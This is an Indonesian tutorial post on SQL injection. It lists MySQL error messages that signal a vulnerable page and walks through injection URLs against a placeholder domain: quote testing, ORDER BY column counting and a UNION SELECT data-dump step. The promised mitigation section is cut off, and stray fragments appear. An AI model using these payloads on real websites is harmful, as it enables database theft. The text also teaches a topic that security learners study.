Pada sebuah keamanan website sangat diperlukan untuk menjaga suatu informasi atau kerusakan yang dihasilkan oleh suatu website tersebut. Database sebuah website merupakan sumber informasi yang paling penting untuk orang yang telah menggunakan website tersebut .
Website e-commerce atau website yang melakukan transaksi jual beli pasti menggunakan sebuah data yang akan dimasukkan ke dalam database website dan melalui website lebih mudah seseorang mengetahui terlebih dahulu tentang hal yang sedang dicari.
Section Artikel
SQL Injection adalah aksi injeksi yang di lakukan pada database sebuah website yaitu database yang menggunakan tipe data SQL ( Structured Query Language ). Injeksi pada website yang menggunakan database tergantung dari sistem keamanan database itu sendiri.
Teknik hacking website SQL Injection paling sering digunakan oleh para tester dan hacker (peretas) untuk melakukan pengambilan data informasi website. Kebanyakan website membutuhkan penyimpanan data agar bisa digunakan oleh pengguna website dengan baik.
Untuk mengetahui kelanjutan tentang bug atau cara kerja teknik hacking pada database suatu website. Ada beberapa illustrasi pada kehidupan nyata atau hal yang sama berkaitan dengan SQL Injection database website. Berikut ini adalah beberapa illustrasinya:
Sebelum memasuki cara kerja dan langkah-langkah teknik hacking website SQL Injection, kalian harus memahami dan memgetahui bagaimana ciri-ciri website / halaman website yang memiliki celah keamanan database. Berikut ini adalah beberapa ciri-cirinya:
" You have an error in SQL syntax, check the manual that corresponds to your MySQL.........."
" Warning : mysql_fetch_array() expects parameters....... "
" MySQL: state error......"
" Database is occured
Error number:..... "
dan lain-lain..
2, 4, 8
Setiap website pasti memiliki alamat websitenya masing-masing yang berbeda. Database sebuah website terletak di bagian back atau belakang website yang terhubung dengan server dan database tersebut bisa digunakan sesuai cara kerja suatu website.
Sistem kerja teknik hacking SQL Injection website terletak pada aksi injeksi yang terhubung langsung ke database website, seperti: tempat daftar / pencarian yang merupakan pengisian dari database website dan halaman website yang di panggil oleh database.
https://www.contoh.com/terbaru/berita.php?id=21
https://www.contoh.com/terbaru/berita.php?id=21'
Setelah memberi tanda kode injeksi SQL Injection maka akan memberi dampak tampilan tergantung dari keamanan website tersebut. Jika, database website tersebut tidak memiliki keamanan maka akan menampilkan error seperti yang ada pada “Ciri-Ciri SQL Injection“.
https://www.contoh.com/terbaru/berita.php?id=21'+order+by+1--+
https://www.contoh.com/terbaru/berita.php?id=21'+order+by+2--+
https://www.contoh.com/terbaru/berita.php?id=21'+order+by+3--+
https://www.contoh.com/terbaru/berita.php?id=21'+order+by+........
Catatan:
Melakukan " ORDER+BY+(angka table/column) " yang mulai dari angka 1 tampilan halaman website kembali normal, maka permintaan "ORDER BY" digunakan ulang sampai tampilan website menampilkan kembali ciri-ciri error SQL Injection.
https://www.contoh.com/terbaru/berita.php?id=21'+order+by+12--+
>>
https://www.contoh.com/terbaru/berita.php?id=-21'+union+select+1,2,3,4,5,6,7,8,9,10,11,12--+
Catatan (Union-Injection):
Tanda - sebelum angka halaman yang dilakukan injeksi tadi menjadi -21 dan angka dibawah 12 akan ditulis semua sampai 1
https://www.contoh.com/terbaru/berita.php?id=-21'+union+select+1,2,3,(DIOS),5,6,7,8,9,10,11,12--+
Setelah mengetahui pengertian website yang memiliki celah keamanan SQL Injection dan illustrasinya hingga cara kerja website SQL Injection. Kalian juga harus memahami bagaimana cara mengatasi suatu celah keamanan database sebuah website tersebut untuk terhindar dari (cyber criminal) pada dunia maya. Berikut beberapa cara untuk mengatasainya: